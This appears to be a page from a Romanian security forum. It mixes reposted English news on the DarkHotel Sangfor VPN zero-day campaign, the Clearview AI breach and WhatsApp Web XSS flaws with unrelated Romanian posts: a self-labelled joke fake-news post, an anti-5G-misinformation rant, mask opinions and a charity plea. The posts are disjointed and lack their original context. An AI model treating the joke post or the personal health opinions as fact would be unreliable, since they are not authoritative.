Targets included government agencies in Beijing and Shanghai and Chinese diplomatic missions abroad. Foreign state-sponsored hackers have launched a massive hacking operation aimed at Chinese government agencies and their employees. Attacks began last month, in March, and are believed to be related to the current coronavirus (COVID-19) outbreak. Chinese security-firm Qihoo 360, which detected the intrusions, said the hackers used a zero-day vulnerability in Sangfor SSL VPN servers, used to provide remote access to enterprise and government networks. Qihoo said it discovered more than 200 VPN servers that have been hacked in this campaign. The security firm said that 174 of these servers were located on the networks of government agencies in Beijing and Shanghai, and the networks of Chinese diplomatic missions operating abroad, in countries such as: Italy United Kingdom Pakistan Kyrgyzstan Indonesia Thailand UAE Armenia North Korea Israel Vietnam Turkey Malaysia Iran Ethiopia Tajikistan Afghanistan Saudi Arabia India In a report published today, Qihoo researchers said the entire attack chain was sophisticated and very clever. Hackers used the zero-day to gain control over Sangfor VPN servers, where they replaced a file named SangforUD.exe with a boobytrapped version. This file is an update for the Sangfor VPN desktop app, which employees install on their computers to connect to Sangfor VPN servers (and inherently to their work networks). Qihoo researchers said that when workers connected to hacked Sangfor VPN servers, they were provided with an automatic update for their desktop client, but received the boobytrapped SangforUD.exe file, which later installed a backdoor trojan on their devices. DARKHOTEL HACKERS HAVE BEEN GOING AFTER COVID-19 TARGETS The Chinese security firm said it tracked the attacks to a hacker group known as DarkHotel. The group is believed to operate out of the Korean peninsula, although it is yet unknown if they are based in North or South Korea. The group, which has been operating since 2007, is considered one of today's most sophisticated state-sponsored hacking operations. In a report published last month, Google said that DarkHotel used a whopping five zero-day vulnerabilities last year, in 2019, more than any other nation-state hacking operation. Despite being only April, the Sangfor VPN zero-day is the third zero-day DarkHotel has deployed in 2020. Earlier this year, the group has also been seen using zero-days for the Firefox and Internet Explorer browsers to target government entities in China and Japan. Qihoo researchers said the recent attacks against Chinese government agencies could be related to the current coronavirus (COVID-19) outbreak. The Chinese security firm said it believes DarkHotel is trying to get insights into how the Chinese government handled the outbreak. The attacks on Chinese government entities appear to fit a pattern. Two weeks ago, Reuters reported a DarkHotel attack against the World Health Organization, the international body coordinating the global response to the current COVID-19 pandemic. PATCHES ARE ALREADY AVAILABLE Qihoo said it reported the zero-day vulnerability to Sangfor last Friday, on April 3. When ZDNet reached out for a statement earlier today, the Shenzen-based vendor didn't want to comment on the attacks, targets, or hackers, and instead redirected us to a WeChat post it published earlier in the day. On WeChat, the vendor said that only Sangfor VPN servers running firmware versions M6.3R1 and M6.1 were vulnerable and have been confirmed to have been compromised using the zero-day used by DarkHotel Sangfor said that patches would be coming today and tomorrow -- today for the current version of its SSL VPN server, and tomorrow for the older versions. The company also plans to release a script to detect if hackers have compromised VPN servers, and a second tool to removes files deployed by DarkHotel. Sangfor customers can find additional details in the company's WeChat post and its SRC-2020-281 security advisory (non-public). Via zdnet.com

Socant, priviti cum procedeaza autoritatile cu victimele Covid-69 (oh)! PS: Pentru cei care nu se prind, ca probabil sunt unii: Acest post este o GLUMA. Care e tot un fel de stire falsa, doar ca nu e asa de negativa.

Nu ma deranjeaza, sunteti liberi sa faceti ce vreti si daca i-am dat react, i-am dat pentru ca am crezut ca a spus sincer. Asta nu ma face prost sau credul. Daca considerati ca asa va bateti peleul de mine, gresiti.

Ai uitat partea cea mai amuzanta.

Pe mine chiar m-au ajutat sfaturile / posturile tale de pe forum. Cu acest prilej vreau sa iti si multumesc .

Nu, nu consider ca vorbesc in gol. Consider ca, indiferent ca vorbim pe un forum, la o bere sau ca ne expunem ideile intr-o lucrare stiintifica, trebuie sa avem discernamant cand facem asta si sa o facem cu responsabilitate. Si sa constientizam ca ceea ce scriem poate fi interpretat de catre unii sau altii drept adevar, chiar daca realitatea nu reflecta acest lucru. Nu conteaza ca sunt eu Andrei sau ca esti tu Ionel sau ca este tipul de mai jos X-ulescu. In online nu se uita nimeni pe CV-ul nostru sa vada ce studii avem si daca suntem in masura sa comentam despre un subiect anume. In online, ceea ce conteaza ca o idee sa se rostogoleasca ca un bulgare de zapada, indiferent ca este un fact sau un fake news, este tonul pe care este spusa ideea si modul in care este expusa acea idee. Chiar daca este vorba despre o stire de acum 10 ani de la care doar s-au folosit imaginile pentru a se manipula un eveniment prezent. In online prea putini cauta adevarul ci doar interesantul, senzationalul. Treaba mea, ca om care gandeste si are ratiune este sa trec prin sita proprie aceste lucruri si folosindu-ma de propria logica si de propria ratiune sa arunc la gunoi fake news-ul si sa pastrez informatiile reale. Relevante. Nu sunt destept dar am o ratiune si o logica mai buna decat a multora de aici. Si nu pentru ca sunt mai inteligent ci pentru ca sunt mai batran. Treaba mea este sa taxez dur orice idiotenie cum ar fi 5G a cauzat Coronavirus pentru ca azi nu ma afecteaza dar maine o sa vad pe strada oameni care protesteaza impotriva 5G pentru ca 5G-ul cauzeaza virusi. Si nu e doar treaba mea. Este si treaba ta si a tuturor sa taxam prostii si imbecilii care arunca informatii eronate fara o minima informare de bun simt. Azi nu te afecteaza dar daca nu stiai deja, prostii sunt cei care se fac auziti cel mai mult. Asa este in Romania si asa este oriunde pe acest pamant. Asa cum am mai spus aici acum ceva timp, cand a aparut 5G mi-am luat o carte despre tema asta si m-am informat. Consider ca toti trebuie sa facem asta. Daca nu toti putem sa avem acces la o carte, consider ca trebuie sa fim destul de inteligenti incat sa nu luam stiri de pe www.stiri-smechere.ro si sa le shareuim. Daca te-am deranjat, asta este. Nu imi pare rau pentru ca nu am facut nimic cu intentie si nu am avut un alt scop decat acela de a incerca sa opresc o informatie emanata de catre cineva cu doi neuroni. Daca te deranjeaza opiniile mele si altcineva din staff imparteste aceasi idee, spuneti-mi si aici nu am sa ma mai exprim referitor la acest lucru sau la orice alt lucru cenu tine de domeniul din care imi castig painea. Am destui neuroni incat pot sa fac asta. Intrebarea nu este daca eu sunt inteligent ci intrebarea este cine vine din spate? 5G Coronavirus? Asta vrem sa fie pe forumul asta? Imbecili? De unde am plecat si unde am ajuns? O parte din mentalitatea pe care o am astazi se datoreaza si forumului asta. Pentru ca am avut de la cine invata. Daca lasam toti cercetatorii sa se exprime liber, cei care vin aici in ideea de guidance, de la cine vor invata? De la invitatii filelist?

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Punctul meu de vedere referitor la masti: 1. Orice fel de masca este utila. Nu sunt necesare masti FFP2/FFP3 pentru oameni pe strada, ci pentru medici. Oamenii obisnuiti ar trebui sa poarte orice masca, si bumbac, orice. Daca nu au, o esarfa (eu am cu Dinamo :D) sau fular (tot e frig afara) orice. Evident, nu are acelasi efect ca FFP3 dar nu e nevoie de asa ceva. Daca cineva stranuta sau tuseste inspre tine, orice cacat ai avea pe fata te apara de scuipatul acelei persoane 2. Personalul medical nu este echipa din mai multe motive: avem biserica imensa in centrul Bucurestiului, spitalele nu aduc multe voturi etc. Adica cei de la conducere si managerii de spitale numiti politic sunt niste jegosi nenorociti si incapabili si ar trebui inchisi. De aceea am si facut acel anunt pentru donat, pentru ca tara e condusa de ratati si tot oamenii obisnuiti pot ajuta mai mult, decat sa steptam dupa ei. Desi sunt de parere ca Arafat, Rafila si Streinu Cercel fac o treaba buna. 3. Consider ca acele spoturi si acele mesaje au rolul de a opri taranii sa cumpere ca disperatii masti. Si nu neaparat taranii de oameni, dar jegosii aceia care cumpara tone de masti apoi le vand la supra pret. Oamenii obisnuiti nu au nevoie de masti chirurgicale. Daca ziceau la TV purtati masca, va scapa viata, toti dadeau iama in masti. Oricum au dat. Iar mesajul acela se refera si la faptul ca o masca simpla nu te va ajuta 100% daca o porti, dar ajuta extrem de mult daca o porti si esti bolnav ca sa nu ii imbolnavesti pe altii. Da, sincer, nu stiu exact de ce se intampla asta.

multumesc domnului zyntax , el ma ajutat sa postez pe mai multe grupuri de pe facebook . QuoVadis stau in Portico di Caserta (CE) langa Caserta .

Salut tuturor , sunt un viitor tatic ce a ramas fara servici si a intrat in Carantina (ITALIA) de aproape 2 luni . Sotia mea este insarcinata in luna a 8-a iar noi nu am reusit sa ne organizam cu hainute , pat si alte chestii pentru bebe . Din banii ramasi de economie am cumparat alimente pentru a supravietui . Daca cineva doritor din Italia sau eu stiu si din Romania are hainute folosite de bebe sau alte chestii folositoare si le poate trimite as aprecia foarte mult . Pentru cei care sunt in dubii va pot da numarul de whatsap si va pot arata sotia insarcinata apartamentul si alte dovezi .

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In a notification to customers, Clearview said an intruder gained “unauthorized access” to the list. Facial recognition company Clearview AI notified customers that an intruder had gained "unauthorized access" to its entire list of customers, The Daily Beast reports. Clearview gained widespread attention in recent weeks after a wave of media coverage, starting with The New York Times in January. The company stands out from others due to its use of a database of over 3 billion photos the firm constructed by scraping images from Facebook, Twitter, Instagram, and other social networks and websites. Clearview sells its product to law enforcement clients particularly in the U.S. The company's app allows a customer to point their phone's camera at a subject, or upload a photo into the system. Then, the system provides links to other photos and related social media profiles of the suspected person online. "Security is Clearview’s top priority. Unfortunately, data breaches are part of life in the 21st century. Our servers were never accessed. We patched the flaw, and continue to work to strengthen our security," Tor Ekeland, an attorney working for Clearview, said in a statement to Motherboard. The New York Times reported that law enforcement has used Clearview to identify child abuse victims. Buzzfeed News found that Clearview wants to sell its tool to authoritarian regimes. Since the New York Times uncovered Clearview, New Jersey has banned police from using the tool, and various social networks have told Clearview to stop scraping their platforms. Update: This piece has been updated to include a statement from Ekeland sent to Motherboard. Via https://www.vice.com/

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A cybersecurity researcher today disclosed technical details of multiple high severity vulnerabilities he discovered in WhatsApp, which, if exploited, could have allowed remote attackers to compromise the security of billions of users in different ways. When combined together, the reported issues could have even enabled hackers to remotely steal files from the Windows or Mac computer of a victim using the WhatsApp desktop app by merely sending a specially crafted message. Discovered by PerimeterX researcher Gal Weizman and tracked as CVE-2019-18426, the flaws specifically resided in WhatsApp Web, a browser version of the world's most popular messaging application that also powers its Electron-based cross-platform apps for desktop operating systems. In a blog post published today, Weizman revealed that WhatsApp Web was vulnerable to a potentially dangerous open-redirect flaw that led to persistent cross-site scripting attacks, which could have been triggered by sending a specially crafted message to the targeted WhatsApp users. In the case when an unsuspecting victim views the malicious message over the browser, the flaw could have allowed attackers to execute arbitrary code in the context of WhatsApp's web domain. Whereas, when viewed through the vulnerable desktop application, the malicious code runs on the recipients' systems in the context of the vulnerable application. Moreover, the misconfigured content security policy on the WhatsApp web domain also allowed the researcher to load XSS payloads of any length using an iframe from a separate attacker-controlled website on the Internet. "If the CSP rules were well configured, the power gained by this XSS would have been much smaller. Being able to bypass the CSP configuration allows an attacker to steal valuable information from the victim, load external payloads easily, and much more," the researcher said. As shown in the screenshot above, Weizman demonstrated the remote file read attack over WhatsApp by accessing the content of the hosts file from a victim's computer. Besides this, the open-redirect flaw could have had also been used to manipulate URL banners, a preview of the domain WhatsApp displays to the recipients when they receive a message containing links, and trick users into falling for phishing attacks. Weizman responsibly reported these issues to the Facebook security team last year, who then patched the flaws, released an updated version of its desktop application, and also rewarded Weizman with $12,500 under the company's bug bounty program. Source: https://thehackernews.com/2020/02/hack-whatsapp-web.html

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